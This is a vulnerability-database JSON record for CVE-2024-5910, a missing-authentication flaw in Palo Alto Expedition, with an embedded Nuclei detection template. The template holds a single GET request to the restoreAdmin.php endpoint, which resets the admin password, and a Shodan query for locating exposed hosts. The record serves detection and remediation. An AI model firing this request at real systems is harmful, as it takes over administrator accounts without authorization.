{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-5910/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-5910/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-5910/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-5910/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-5910/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-5910"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-5910"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2024/CVE-2024-5910.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2024-5910\n\ninfo:\n  name: Palo Alto Expedition - Admin Account Takeover\n  author: johnk3r\n  severity: critical\n  description: |\n    Missing authentication for a critical function in Palo Alto Networks Expedition can lead to an Expedition admin account takeover for attackers with network access to Expedition.\n  impact: |\n    Attackers with network access can exploit missing authentication to takeover Expedition admin accounts without credentials.\n  remediation: |\n    Update Palo Alto Networks Expedition to the latest version that patches CVE-2024-5910 as specified in the Palo Alto security advisory.\n  reference:\n    - https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise\n    - https://security.paloaltonetworks.com/CVE-2024-5910\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-5910\n  classification:\n    cve-id: CVE-2024-5910\n    cvss-score: 9.3\n    cwe-id: CWE-306\n    epss-score: 0.91783\n    epss-percentile: 0.99812\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: paloaltonetworks\n    product: expedition\n    shodan-query: http.favicon.hash:1499876150\n  tags: cve,cve2024,palo-alto,auth-bypass,kev,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/OS/startup/restore/restoreAdmin.php\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"Admin user found\"\n          - \"Admin password restored\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100dbf617fd128d9468ddf8dc28827b4ee6cf1970cd71879cfea1d4345036d066de022100a140ddbadd407000ec39568dd846a483f923555701cbcbfcf6fdddd3da20bcfb:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2024-5910"
}